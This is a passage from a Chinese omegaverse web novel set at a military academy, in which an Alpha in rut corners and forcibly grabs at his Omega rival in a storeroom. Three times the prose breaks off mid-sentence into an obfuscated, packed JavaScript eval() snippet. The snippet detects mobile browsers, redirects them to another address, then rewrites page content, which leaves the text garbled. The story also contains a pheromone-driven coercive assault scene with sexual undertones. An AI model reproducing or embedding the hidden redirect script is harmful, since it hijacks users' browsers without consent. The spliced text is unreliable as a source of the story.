相较之下,测力室的每台机器只能测一个人,纯粹的数值比拼也比较缺乏竞争性和趣味性,在体测刚开始的时候自然无人问津。 眼下室内零星几个来测力的学生都是偏文职一些专业的,他们在体能上本就和那群作战系的Alpha差距悬殊,自然没兴趣去田径赛场上和那群疯狗一决高下。 听到身后传来的脚步声,不少正准备测力的学生好似受惊吓的兔子一样,连忙扭头看向来者。 然而当他们看到向他们走来的人居然是兰舒后,不少Omega当即眼前一亮,露出了无比崇拜的目光。 只可惜他们的偶像对所有性别一视同仁,没等那群心脏都快跳到嗓子眼的Omega想好怎么上去搭讪,兰舒已经径自穿过人群,走到角落里一座空着的测力仪前坐下了。 他没有丝毫多余的动作,也并未和其他人一样等什么朋友,在测力仪的光脑前录完瞳孔,待其完成消毒后,兰舒抬手便握住了测力器。 屏幕上的归零字样甚至只显示了一瞬间,随即没有丝毫停顿的瞬间便飙到了一个Alpha都难以企及的数字。 旁边的学生瞟见后震惊地睁大了双眼,方才想上去同兰舒搭话的Omega见状忍不住捂住了双嘴,震撼而倾慕地看着这一幕。 光脑上的数字硬是飚到过万才缓缓慢了下来,周围人见状忍不住屏住呼吸,连结束完检测准备离开的人都停下了脚步,似乎想看看最终到底能达到什么样的高度。 然而就在此刻,一道脚步声突然从众人的身后传了过来。 测力室人来人往实在是太正常了,许多聚精会神的学生根本没空去关心来者是谁,但有几个下意识看过去的学生看到来者是谁后,不约而同地一愣,随即生怕引祸上身一样,纷纷往后退了几步。 随着脚步声不断靠近,不少人也终于回神看了过去,唯独兰舒没有回头。 直到那人在他身后站定,周围所有看清楚他是谁的人都退避三舍时,兰舒依旧没有回头。 不过握力终有达到极限之时,检测到三秒内没有出现更高的数值提升后,测力仪的光脑闪烁了两下便跳出来了最终的结果:“14523。” 一个对于兰舒自己来说马马虎虎的成绩。 兰舒见状终于准备收回手,打算看看身后的小子又有什么新茬要跟自己找,可身后的Alpha却在此刻毫无征兆地抬手,一把握住了他尚在握力器上的右手。 兰舒微微一顿,手背上率先感受到的是Alpha不正常的热意,紧跟着便是一道细微而粗糙的摩擦感。 ——那似乎是一道伤疤。 兰舒可以肯定,在此之前龙乾手心中没有这种东西。 这人什么时候受的伤? 他心下猛地一跳,刚想扭头,身后人却在同一时间俯身,清新的海盐味扑面而来,一张熟悉的英俊面孔紧跟着倒映在光脑冰冷的屏幕上。 兰舒的呼吸突然凝滞了,Alpha此刻的动作无论是从旁观者的角度看,还是从外人的角度看,都好像从身后半抱住了他一样。 周围人见状不约而同地停下了脚步,惊愕地看着这一幕。 测力仪冰冷的声音随之响起:“学号:14982035 姓名:龙乾,瞳孔核验完毕,请开始测验。” 屏幕上由兰舒创造出的数字瞬间清零,龙乾就那么握着他的手,压在测力仪上猛然用力,数字当即开始飙升。 兰舒蓦然回神,眯了眯眼后手背猛然发力,一下子贴在了那人的手心,紧密得严丝合缝。 可一切就像是大雨滂沱下的场景反转,当时兰舒踩在那人后背的力度此刻被对方双倍奉还了回来。 手背向外发力本就困难,再加上Alpha和Omega在上肢力量上堪称天堑般的悬殊,几乎无法用后天训练弥补,以至于兰舒的力度只能让测力仪上的增速缓慢下去,根本不足以让它停止,更不足以让他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119866|164241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从龙乾的手下挣脱。 而数字的增速虽然慢了下来,却还是在无声的角逐中逐渐攀升,最后不费吹灰之力地迈过了兰舒方才的“14523”,进而奔着两万去了。 兰舒看着逐渐增长的数字,面色微微发冷。 身后人见他吃瘪,终于忍不住轻笑了一声,随即低头凑到兰舒的耳边,好似手上青筋都要暴起来的人不是他一样,故作游刃有余道:“学长——你身上怎么好像有股酒味?” 试探性的话语说完,龙乾眸色发暗地看着面前人,一眨不眨地打量着对方的一举一动。 兰舒闻言却连睫毛都没抬一下,更没有接话,只是冷着神色道:“只有没断奶的小狗才会在大人面前秀肌肉。” 换往常挨了骂,龙乾怎么着也得暴跳如雷嘲讽回去,然而今日他看到兰舒不为所动的姿态后,心下却猛地一松。 ——还好,那只是一场梦。 其实他根本没有从兰舒身上闻到什么酒味,那只是他诈兰舒的谎话而已。 还好梦中为亡夫神魂颠倒的人并非他熟识的宿敌。 胃中那股自昨晚开始的绞痛终于感淡了一些,可某种不安还是挥之不散地笼罩在龙乾的心头。 他握着那人微凉的手背,垂眸将目光落在Omega的后颈上,视线却被衣领隔绝在了外面。 ——兰舒为什么要在明知体能测试的前提下,穿这么一件不方便运动的高领军装呢? 光脑上的数字缓缓飙升,暗流之下,躁动的Alpha信息素也随之开始弥漫。 空气陷入了一片寂静,就这么过了有半分钟,屏幕上的数字终于停在了一个耸人听闻的数字上——“28906”。 那是一个接近兰舒极限两倍的数字,堪称压倒性的优势。 时间在这一刻好似再一次开始了流动,龙乾看到那像是冰雕一样的Omega终于有了些许反应——他细微地吸了口气,睫毛几不可见地抖了两下。 龙乾突然福至心灵地意识到,这人是因此不高兴了。 像他这种高傲且不把任何人放在眼里的Omega,被迫当面承认某个方面不如人,简直就是一种无声的羞辱。 意识到这件事的一瞬间,说不清的快意突然从龙乾心头泛起,像电流般顺着脊髓一路攀升,先前被踩在脚下的愤怒与屈辱在这一刻得到了无与伦比的疏解,爽得他忍不住舔了舔虎牙。 似是察觉到了他的得意,兰舒终于冷下脸色开了口:“握够了没有,松手。” 可身后的Alpha似乎得寸之后又想要进尺,闻言竟依旧没有松手。 兰舒的脾气终于忍耐到了极致,正当他彻底忍不住打算出手时,龙乾却冷不丁在他耳边冒出来一句:“学长,能不能求你个事?” 那声音很轻,听起来倒真有些年下恋人压低声音恳求的意味。 兰舒闻言猛地一愣。 ——这小子吃错药了? 联想到龙乾从上午开始就表现出的古怪,兰舒只觉得对方今天跟鬼上身了一样,似乎有什么极其不对劲的地方。 可哪怕对方用上了求这个字,兰舒依旧不会蠢到认为这人当真安了什么好心,于是他微微侧脸,略带警觉地看向身边的Alpha。 事实证明,他的预感没有错,但他还是低估了这人毫无征兆发疯的本事。 在Omega警惕的注视下,龙乾攥着他的右手,在他耳边低声问道:“学长能不能告诉我——” “你今天的抑制贴,是什么颜色的?” 7. 易感期 此话一出,空气瞬间便凝滞了下来。 站得远一些的学生并没有听到龙乾到底说了什么,他们只看到那人俯身将兰舒半抱在怀里,凑到对方耳边亲昵地说了什么。 那动作就好似……一对爱侣。 这词用在这两人身上实在是太惊悚了,众人惊疑不定地看着这一幕。 可身处其中的兰舒却根本没那么多旖旎,反而只有匪夷所思和荒谬。 他冷下脸色,当即就要开骂:“你脑子——” 可他扭头对上身后人的眸色后,心下却猛地一跳,所有未尽的话语一下子全部卡在了喉咙里。 却见Alpha正似笑非笑地看着自己,瞳孔呈现出一种不自然的暗沉,眼神中透着股本人都不自知的执拗,似乎执拗的想要得到什么答案。 不知道什么时候开始,空气中原本不怎么明显的柠檬气泡水味扑面而来,混杂着海水的味道,一下子浓得好似要将人溺毙。 闻到那股气味的一瞬间,兰舒瞳孔骤缩,蓦然间被炸得头皮发麻。 ——完了,这人易感期到了。 Alpha信息素在易感期的味道和平常是略有不同的,就像Omgea发情期的信息素也和往日不同一样。 而只有Alpha易感期的信息素,才能引发Omega的被动发情。 想到这里,兰舒后背发麻,立刻便要远离这个定时炸弹。 没人比他更清楚龙乾易感期的时间,也没人比他更清楚,这小子易感期到了之后有多麻烦。 龙乾的易感期十分稳定,基本每三个月一次,而且很规律地在当月中旬开始找兰舒发疯。 上一次龙乾易感期时,两人刚好在图书馆偶遇,因为兰舒不小心坐了龙乾舍友位置的小事吵了起来。 兰舒字典里向来没有道歉两个字,更何况为了这点小事。他当即起身打算离开,龙乾却拦住他执意要让他跟自己舍友道歉。 龙乾那个姓宫的Alpha舍友只有十八岁,比龙乾还小两岁,比兰舒更是小了足足五岁。 那小Alpha一看见兰舒就脸红,龙乾替他出了半天头也不见他说话,到最后被龙乾推了一下,他才低着头跟鸵鸟一样表示,其实没必要这么大动干戈,这个位置留给兰学长就好了,他自己回宿舍自习也是一样的。 帮他说了半天话的龙乾登时气不打一处来,尤其是听到学长两个字后更是不知道被踩到了哪条尾巴,当即怒结,恨铁不成钢地骂他胳膊肘往外拐,兰舒到底算他哪门子学长。 宫巍被他骂得不敢吭声,只能可怜巴巴地看着兰舒。 冷眼旁观了半晌的兰舒见状只嘲讽了一句:“皇上不急倒是差点把太监急死。” 龙乾一听这话直接气炸了,两人差点在图书馆大打出手,最后每人扣了十点信誉分,被迫一起当了半个月的图书馆义工。 这种事并非个例,龙乾上上次易感期,也就是三个月前机甲考试时,兰舒为了凑学工时长去给低年级的学生当助教监考。 参与考试的龙乾莫名其妙地硬要说兰舒给自己的评判标准要比别人更严格,指责他偏袒另一个Alpha男生。 得到兰舒毫不掩饰的嘲讽后,两人再次开始了激烈的争论,差点把机甲考场的房顶掀了。 最终两人被罚一起监考完了剩下的几场考试,期间可以说是相看两厌到恨不得掀了对方的天灵盖,但碍于学校的施压,他们俩还是咬着牙忍到了最后。 再之前的种种事情就有些不胜枚举了。 总而言之,处于易感期的龙乾就是个见兰舒就咬的疯狗,因此兰舒记这人的易感期时间比记自己发情期时间还轻车熟路。 虽然不知道这小子发什么神经,易感期居然毫无征兆地提前了两个月,但兰舒不愿多想。 他难得没接龙乾的话茬,下定决定要远离这人的一瞬间,抬手便是一个掣肘,砸开身后人的桎梏后,起身就要远离这个瘟神。 然而今天的龙乾跟吃错药一样,挨了那么重一下子却好似没有知觉一样,见状竟直接跟了上来。 龙乾本人压根没意识到自己自中午苏醒后,激素水平就在不断升高的事实,更没有意识到自己的情绪已经偏执到了某种极端。 昨晚那段梦萦绕在他心头迟迟未曾散去,而近在咫尺的午休更像是梦魇一样侵蚀了他的所有理智,以至于龙乾根本没空管自己的状况。 方才略微的试探根本不足以让他彻底放心——他必须要用真正有力的证据证明那只是一场梦,才能让自己彻底放下心。 感觉到人群都已经被自己甩开了,可龙乾还是一直跟在自己身后,兰舒被他弄得后背发毛,实在忍无可忍,走到一处无人的角落后停住脚步刚想说什么,身后人却在此刻毫无征兆地抬起了手。 ——这王八蛋居然要扒他的衣领! AO之间,这种动作和当众耍流氓没有任何本质上的区别。 兰舒愕然了三秒后,浑身起了刺一样当即反手按住自己的衣领,猛地回头骂道:“你今天脑子灌铅水了?到底想干什么!?” 偏偏那吃错药一样的Alpha一眨不眨地盯着他的脖子,闻言理直气壮道:“不干什么,只是看一下而已,又不会掉块肉,学长不至于这么吝啬吧?” 这种对话若是落在其他AO之间,恐怕已经暧昧到不能再暧昧了。 可他们是不同的,兰舒清楚的知道龙乾只是易感期被激素支配了思绪,和暧昧根本不沾边。 想到这里,兰舒眼神暗了三分,压下心头的怒火和舌根的苦味劝告道:“别在我这里发神经,信息素紊乱就去找校医,我又不是你——” 龙乾却“啧”了一声,懒得再跟他废话,拽着他的手腕当即便把人按在角落,抬手就要去扯他的后领。 兰舒骂了一句脏话,拧着手腕打算反击,未曾想那雪白到看不出丝毫缝隙的墙壁居然是一面暗门,他被龙乾按在墙上的一瞬间,尚未来得及发力便感觉面前突然一空,紧跟着猝不及防地便向前摔去。 电光石火间,龙乾的大脑还没来得及做出反应,身体便已经下意识做出了反应。 他拽着兰舒的手腕猛地把人往怀里一拉,身体跟着倾倒的同时下意识侧身,整个人几乎相当于人工肉垫一样直接砸在地上。 后背处尚未彻底痊愈的创口再一次碾在地上,难以言喻的剧痛让Alpha忍不住蹙了蹙眉。 预料的疼痛并未传来,反而摔在了满怀的炙热中,兰舒愣了一下在黑暗中抬眸,恰好对上了那人因痛苦而微微蹙眉的面容。 不得不说,龙乾这张脸在如此近的距离下,所带来的冲击是巨大的,英 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119867|164241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俊得甚至让人有些难以呼吸。 Omega不受控制地一僵,睫毛几不可见地颤抖了两下,似是有些不太敢和那人对视。 昏暗的环境中,兰舒感觉到Alpha正忍着极端的痛苦,眼神晦暗而复杂地看向自己,带着某种堪称露骨的探寻。 ……他在看什么? 兰舒忍不住咽了咽口水,下意识往后撤了几分。 这一动,似乎一下子打翻了原有的微妙平静,龙乾一眼便看出了他想跑的意图,于是掐着腰将人按在原地,抬手就要去扯兰舒的领子。 兰舒眸色一凛,反应极快,侧身一脚便踹在了身上人的肩膀上。 令人头皮发麻的骨声在空旷的黑暗中响起,奈何龙乾好似失去了痛觉一样,眼睛都不带眨一下的,反而以此为机会一把握住了兰舒的脚踝,扯着就要往身下拖。 兰舒见状忍不住暗骂一声。 这是最棘手的事情,易感期Alpha痛感下降,任何来自外界的攻击反而会激起他们更多的施暴欲和征服欲。 眼见着攻击无效,兰舒猛地踹在龙乾的手腕上,借着那股力硬生生把自己的脚踝抽了出来,随即转身就要跑。 可这地方不知道是哪个学院的仓库,周围堆满了杂乱的箱子,任由兰舒反应再快,被这些箱子一耽误,还是错过了逃跑的最好时机。 身后人的手在黑暗中骤然探出,扯着他来不及藏起的脚踝用力一拉,一下子便将企图逃跑的Omega拽回了原地。 Alpha牲口般的体力优越在狭窄的空间内被彰显得淋漓尽致。 兰舒下意识抽脚没抽出来,当即反手攻了上去,未曾想龙乾早有预料,一把抓住他的手腕,随即猛然一拧,以一种极其羞耻的姿势将人按在了角落里。 事实证明,只要不怕死不怕痛,Alpha确实是最优越的战争机器。 身后人热到不正常的气息尽数扑洒在颈侧,兰舒耳垂红得好似要滴血,一股难以言喻的羞耻感顺着他的脊椎一路攀升。 柠檬的酸味在整个空间内弥漫,几乎彻底盖住了原本清新的海盐味。 兰舒被这股气息裹得大脑犯浑,身体不受控制的开始发软。 ——再这么下去,他恐怕就要被引诱得当场发情了。 “……龙乾!”兰舒终于受不了了,他实在不知道这人到底在发什么疯,忍无可忍地扭头骂道:“你个蠢货看清楚我是谁,你想上军事法——” 可最后一个字尚未说完,身后人便失去了耐心。 只听“撕拉”一声,Omega后颈的布料便被人直接上手撕开了。 微凉的空气混杂着Alpha浓烈的信息素蓦然涌上,隔着抑制贴扫在敏感无比的脖颈上。 兰舒骤然止住了话头,整个人一下子僵在了原地。 明明碎掉的只是一小块布料,可有那么一瞬间,他分明感觉到那人想撕的不只是他的衣领,而是他的整件衣服。 可身后人不知看到了什么,突然僵在了原地,一下子止住了所有动作。 借着门缝处扫进来的一点光线,龙乾一眨不眨地看着怀中人的后颈。 ——那是一枚粉色的抑制贴,和他午睡“做梦”时看到的一模一样。 那原来不是梦,是真的。 一切都是真的。 8. 私情 自欺欺人的壳子终于被荒诞的真相砸了个口子,龙乾一下子愣在原地。 下一刻,凛冽的拳风迎面而来,兰舒一拳毫不收力地砸在他脸上,鲜血当即便顺着龙乾的眉骨淌了下来。 这一拳像是当头一棒,陡然把他从那种魔怔般的状态中砸醒了过来。 疼痛伴随着理智回笼,紧跟着龙乾终于看清楚了眼前的一切。 昏暗的仓库中,眸色鲜亮的Omega正捂着后颈冷冷地看着他,与他面上的冷淡形成鲜明对比的是他被人折腾得大开的衣襟。 兰舒身上原本整齐的军装在刚刚的缠斗中被蹂躏得不成样子,白皙的锁骨正在龙乾的目光下颤抖着,似乎是因为恼怒,又似乎是因为别的什么情绪。 仓库陡然陷入了一片寂静,只剩下两人交错的呼吸声。 眼见着挨了一拳的龙乾非但没有继续发疯,反而挂着血一言不发地从自己身上直起了身,兰舒便意识到这人应该是恢复理智了。 但他依旧警惕地护着自己的后颈,待那人彻底起身后,才冷声质问道:“清醒了吗?” 龙乾没有第一时间回答,鲜血顺着他的脸颊滴在了地上,仓库内的信息素因为血液的存在而浓到了一定程度,可兰舒不为所动。 比起担心过于浓郁的信息素会诱导自己发情,兰舒更担心的是龙乾突然发难去扯他的抑制贴。 易感期的Alpha什么事都可能做出来,尤其是面对自己喜欢的Omega时。 不过好在他似乎并不是龙乾喜欢的Omega。 两人就这么在沉默中沉默了片刻,半晌龙乾似乎终于认清了什么一直以来不愿面对的现实,沙哑着嗓音道:“……对不起。” 这几乎是他们认识以来的第一次道歉。 和兰舒这种哪怕做错了事也不会道歉的性格不同,龙乾只要认为自己有错,就一定会承认并且竭尽全力弥补。 只不过在两人过往的冲突中,他从来不认为自己有错而已。 所以眼下这句道歉着实是破天荒的头一次,只是他整个人的状态看起来不像是愧疚,或者说不只是愧疚,其中还掺杂着什么不可明说的情绪。 那种情绪似乎是嫉妒,一种阴暗到极致的嫉妒,以至于让龙乾心下泛着难言的扭曲,低着头不敢看兰舒的眼睛。 兰舒将这种回避视为尴尬。 一种被激素控制时被迫饥不择食,清醒后看到对方并非自己心上人,而是自己厌恶之人的尴尬。 兰舒一言不发地看着龙乾眼皮上的血顺着面颊往下滴,没由来地联想到了对方手心的那道伤疤。 在对方身上留下疤痕,算是一种标记吗? 似是他的目光终于让龙乾意识到了自己脸上的血,前一秒还在发疯的Alpha,这一刻却显得有些无措,连忙抬手擦掉了自己面上的血,似乎是在担心自己等下在什么人面前丢了形象。 那个人会和他易感期提前有关吗? 兰舒移开视线平静地想到。 方才的那一句对不起就像是一捧扬起来的羽毛,兰舒没有伸手去接,任由它在黑暗中无声的坠落。 两人间除了交错的呼吸声,突然就只剩下了沉默。 然而就在这几乎将人溺毙的寂静中,仓库的门外突然传来了一阵脚步声。 两人几乎是同时回了神,紧跟着门外便传来了一道女声:“咦,仓库门怎么开了?……你好,有人在里面吗?” 说着,什么人在黑暗中推开了那扇没有关严的门。 兰舒心下猛地一跳,可龙乾没有丝毫该有的危机意识,闻言甚至打算起身为他们带来的麻烦而进行解释。 情急之下兰舒根本来不及开口解释,只能连忙抬手捂住了对方的嘴。 可Alpha对肢体接触的反应比他想象中要大的多,或者说,对于由兰舒带来的肢体接触,龙乾在短暂的惊愕后,瞬间爆发出了惊人的反应能力。 兰舒右手覆上去的一刹那,龙乾像是被什么东西电了一下一样,当即攥着他的手腕就要往外扯。 眼见着这人倔得像头驴一样,兰舒根本按不住他,如此千钧一发之际,他只能心下暗骂一声,随即陡然翻身骑在了对方身上,捂着嘴一把将不听话的Alpha按在了角落。 “——!” 彻底的黑暗中,夜视能力极佳的兰舒冷着神色看向满眼愕然的Alpha。 血顺着他英俊的脸庞滑落,滴到了自己手上,空气中已经闻不到任何海盐味了,柠檬汽水的酸味几乎要把兰舒吞噬,口腔因此不自觉地分泌出津液,只有咬紧牙关才能勉强忍住。 Omega结实的大腿牢牢地夹在Alpha的腰际,但不知道近在咫尺的这张脸到底哪刺激到他了,好似兰舒是什么梦中出来的海妖或者梦魇一样,龙乾愣了三秒后蓦然回神,反应大得当即就要把人掀下去。 兰舒被他一顶胯颠得差点磕在墙上,腿根更是被他撞得生疼,一时间怒火中烧,当即一手捂着他的嘴,一手拽着他的衣领用气声骂道:“你个蠢货给我安静点……你想上军事法庭吗?” 此话一出,龙乾蓦然一怔,突然便明白了兰舒之前恼羞成怒时的未尽之意。 ——方才的事可大可小,兰舒不亲自检举就没人能知道,可若是被其他人撞见,那事情可就说不清楚了。 军校作为Alpha集中度极高的领域,对Alpha和其他性别学生相处界限的管控极为严苛。 校内恋爱和正常交往是被允许的,但任何疑似强迫和用信息素引诱Omega发情的行为都会遭到严惩。 这其实是完全合理的规定,毕竟作为年轻Alpha高度集中的地方,若没有有效的手段,莫说是Omega,便是Beta呆在军校恐怕也好似羊入虎口。 但这样就意味着,只要兰舒想,方才的事情完全可以直接把龙乾置于死地。 可他没有。 ……他在保护我。 此念头一出,龙乾突然间僵在了那里。 他就那么安安静静地任由Omega骑着自己将他按在墙角,而在比这处墙角更阴暗的地方,好似有什么僭越的,见不得人的想法,因为对方施舍出的一点好意,而突然展露无遗,再藏不住了。 龙乾感觉自己是疯了。 他后背上兰舒留下的伤还在隐隐作痛,甚至上次被这人揍到肋骨骨折住院的经历依旧历历在目。 而他眼下居然只是因为对方施舍的这一点好意,便像是一条蠢狗一样,忍不住想要凑上去摇尾乞怜。 ……实在是蠢透了。 兰舒垂眸看了一眼终于安静下去的龙乾,并未松下那口气,反而再次提心吊胆地看向门口。 好在推门者是个Beta,她并未闻出来有什么异样。 而且这地方似乎本是一个仓库,里面的箱子堆得杂乱无章,她站在门口随便看了一眼,见角落里的箱子散落了一地也没往心上放。 等了一会儿仓库内无人应答,那Beta没多想,只当是刚刚有人不小心碰开了门,转身走了出去,离开时不忘反手把门关上。 黑暗的仓库内再次归于了平静。 待脚步声渐远后,兰舒终于松开了身下人的嘴巴,但他并未在第一时间从那人身上起来,反而坐直了身体居高临下地看向龙乾,似乎在评估这人会不会继续发疯。 然而这属实是一个糟糕透顶的姿势。 方才兰舒按着龙乾时,大脑宕机的Alpha还只是沉浸在精神领域的挣扎中。 可当Omega直起身,像往常一样冷淡且居高临下看着自己时,龙乾的大脑却出现了一瞬间的错乱,所有的抵抗在这一刻烟消云散。 恍惚之中,他看到的不是穿着军装面色冷淡的兰舒,而是昏暗的床笫间,□□骑在自己身上,软着腰身,羞耻到睫毛都在颤抖的兰舒。 他感觉自己是真的疯了。 竟把偷来的东西当了真。 黑暗之中,兰舒看到龙乾突然做贼一样移开视线,喉结难以遏制地上下滚动了一番。 半晌,那人哑着嗓音开口道:“……对不起,方才是我一时冲动。” 兰舒见他彻底清醒了,没接话茬,起身从他身上翻了下去。 龙乾似是怕自己说得不清楚,连忙又补上一句:“刚刚的错全部在我,我愿意承担一切后果。” 兰舒终于扭头看了他一眼,嘴角动了动似乎是想骂他傻逼,但最终忍住了,只是凉凉道:“想死就自己找地方自首,血别溅我身上就行。” 这话说得和往日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119868|164241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样难听,可话里面却根本没有要让龙乾付出代价的意思。 龙乾闻言忍不住再一次看向了兰舒,黑暗之中,却见Omega正擦着面上的血迹,那是方才他为了按住龙乾不小心蹭上去的。 不止是脸颊,甚至对方的锁骨上都挂着些许血渍,那地方实在过于微妙,看起来就好像……方才龙乾正埋在他颈窝里一样。 他当然埋过兰舒的怀里,只不过埋的不是颈窝,而是更下流的地方。 龙乾蓦然咬下舌尖,任由痛楚在口腔中弥漫,随即缓缓移开了视线:“……我欠你一次。” 兰舒正在擦脸上的血,闻言看了他一眼,没接话,而是反问道:“所以你刚刚到底发什么疯?” 龙乾闻言却一下子沉默了,不知道该说什么。 确实没什么好说的。 是说学长,其实我昨天半夜穿成了你屋里挂在墙上的亡夫遗像,透过你亡夫的眼睛,看到了你情动时的一切? 还是说学长,我连你昨天晚上喊了几声老公,忍不住夹腿蹭了几下都一清二楚? 无论哪一句话说出来,兰舒恐怕都会当场扭断他的头。 所以龙乾再一次陷入了沉默。 其实他此刻无比清醒地知道,自己眼下最该做的就是把事情挑明,然后要么让兰舒换一张照片,要么两人一起想其他办法解决这件事。 他们之间,最好尽快恢复到过去那种相看两厌的地步,以防产生什么说不清的纠葛。 只可惜,他并没有自己想象中那么高尚。 反而卑劣又低俗,阴暗又龌龊。 眉骨处的血不再流时,龙乾终于抬眸看向了兰舒的眼睛:“……我刚刚在远处,看到你衣领处有一点粉色,不确定是不是真的,一时上头想嘲笑你,没想到易感期会在这时候提前。” “……对不起。” 如此拙劣的借口,换到任何人身上都显得不合理,奈何这确实龙乾易感期能干出来的事。 这人的前科实在是太多了,以至于兰舒虽然感觉略有蹊跷,却还是选择了相信。 所以龙乾话音刚落,便感觉到兰舒看自己的眼神变了,像是在看一个幼稚到尚未断奶的小狗。 就是这样的眼神,从两人初遇开始,让龙乾一直如鲠在喉到现在。 曾经他以为只有年龄横在两人之间,只要学识和身体素质足够,便可以横贯过去。 可现实给了他当头一棒,不是这样的。 他们之间还有一座不可逾越的高山,任他如何成长都无法迈过去。 兰舒见龙乾已经没事了,起身打算走人,然而他刚站起来,便感觉到空气中的Alpha信息素莫名奇妙地又浓了起来。 哪怕是平常把柠檬味汽水当水喝的兰舒,此刻也被酸得受不了了。 他忍不住“啧”了一声,当即拿出自己的备用抑制贴,抬手摔到了龙乾怀里:“信息素呛得人头晕,把你腺体贴好。” 龙乾一言不发地接过那片粉色的抑制贴,心中浮现的念头却是——这人不喜欢自己的原因又加了一条,不喜欢自己信息素的味道。 哪怕是海盐也遮不住的柠檬汽水味,幼稚且张扬,兰舒这样的Omega确实不会喜欢。 ……他那个亡夫的信息素会是什么味的?酒味吗?还是其他一些更成熟更讨Omega喜欢的香味? 龙乾低下头,安安分分地给自己贴上了抑制贴。 AO的抑制贴其实并非同一款,Omega的抑制贴对于Alpha来说只能起到遮盖信息素的作用,没有避免易感期的功能,更没有降低激素水平的功能。 不过外在上,至少仓库内躁动的信息素终于勉强平息了下来,兰舒的呼吸顺畅了不少。 见龙乾不知道为什么又不说话了,兰舒也懒得再想,转身正准备离开。 身后却在此刻突然响起了一道声音便:“兰舒。” 兰舒以为他又要为刚刚的事道歉,顿了一下后,难得耐着性子停下了脚步。 事实证明,他还是小瞧了龙乾的疯劲,这人的易感期没有丝毫好转,反而病得更重了。 没大没小的喊完兰舒大名后,龙乾抬眸在黑暗中一眨不眨地看向他: “你前夫的信息素是什么味道的?” 9. 潮水 龙乾一句话让原本趋于平缓的气氛骤然陷入了凝滞。 哪怕是兰舒刚刚入校,关于他的谣言最甚嚣尘上的时候,也没有人敢在兰舒面前直接了当地提起这个人。 Omega终于彻底冷下了神色,似乎所有耐心已经彻底用尽了:“你易感期烧坏脑子了。” 他甚至没有回头,语气冰冷到像是被戳到了逆鳞的蛇,连针锋相对也不愿意了,只剩下了抵触。 但龙乾敏锐地注意到,对方并未否认“亡夫”的存在。 龙乾眸色一下子暗到了极致,可惜抑制贴起了作用,兰舒并未闻到那股滔天的酸味。 他说完那句话后失去了继续下去的兴趣,转身就要出门,却被身后人一把攥住了手腕,生硬地要求道:“你把外套脱了吧。” 兰舒深吸了一口气,压着怒火扭头道:“你到底想——” 可他话音未落,垂眸却在黑暗中蓦然对上了Alpha晦暗又认真的目光。 兰舒微微一愣,紧跟着便听到对方没说完的下半句话:“……我拿回去给你补。” ——他看着自己的眼神,就像是一只被主人抛弃的小狗。 兰舒顿住,剩下的话突然间就骂不出口了。 他在黑暗中看了龙乾三秒,随即一言不发地脱下外套扔到了对方的身上。 那人似乎因为做错事的愧疚,或者其他原因,没有因他的态度而表现出丝毫怒意。 这实在是罕见。 龙乾接下他的外衣后,转头又从自己的口袋中拿出了什么,于黑暗中递到了兰舒面前:“……这个遮一下你的抑制贴。” 兰舒垂眸看去,却见他拿出来的是一枚医用的即时敷贴。 这种敷贴具有镇定和止血的功效,一般是用作紧急包扎伤口的,兰舒见状不由得眉心一跳:“你怎么随身带着这个?” 可话刚一出口,他便蓦然意识到了为什么。 ——“那当然是拜你所赐啊,学长。” 如果没有先前那件事的话,龙乾应该会这么说。 然而此刻的Alpha什么都没有说,就那么继续沉默着。 兰舒抬眸看向龙乾,在这一刻,他的目光似乎穿过了黑暗与衣物,落在了对方身上由他亲手烙上去的伤痕上。 那应该很痛,但兰舒依旧不认为自己有什么错。 从始至终,他对这人表现出来的一切抵触和厌恶,都只是在提醒对方,没有危机意识,对谁都施以信任和帮助,只会给他自己带来灾祸。 兰舒最终还是接过了那枚白色的医用敷贴,神色却一如既往地冷漠:“当你坚持自顾自地为别人牺牲时,伤痛就会一直存在,而且没有人会因此领情。” 这话来得实在突兀,可龙乾闻言却一愣——两人初见之时,兰舒也曾说过类似的话。 不过没等他回神,那人便拿过敷贴,转身头也不回地走了。 门缝处漏出一缕微光,随着那人的离开,最后一抹光亮终于也是不见了,仓库再次陷入了黑暗。 兰舒出了门后并未走远,他就那么站在走廊的拐角处,等待着身上浓郁的Alpha信息素散去。 虽然浪费了一些时间,但眼下正值体测最热闹的时候,大部分人都聚集在外面的田径场上,测力室的人不是很多,再加上仓库本就处在隐蔽的拐角处,所以这里依旧空无一人。 兰舒在一片洁白的寂静中,抬手将龙乾给的敷贴覆盖在自己的后颈处,心头却逐渐浮起了一个疑惑。 ——所以这么偏僻的角落,刚刚的那个女性Beta到底为什么会突然出现在这里? 兰舒心下泛起了一丝异样,动作不由得微微一顿。 而且她推开门后,并没有继续深究仓库内情况的意思,那她到底是来干什么的? 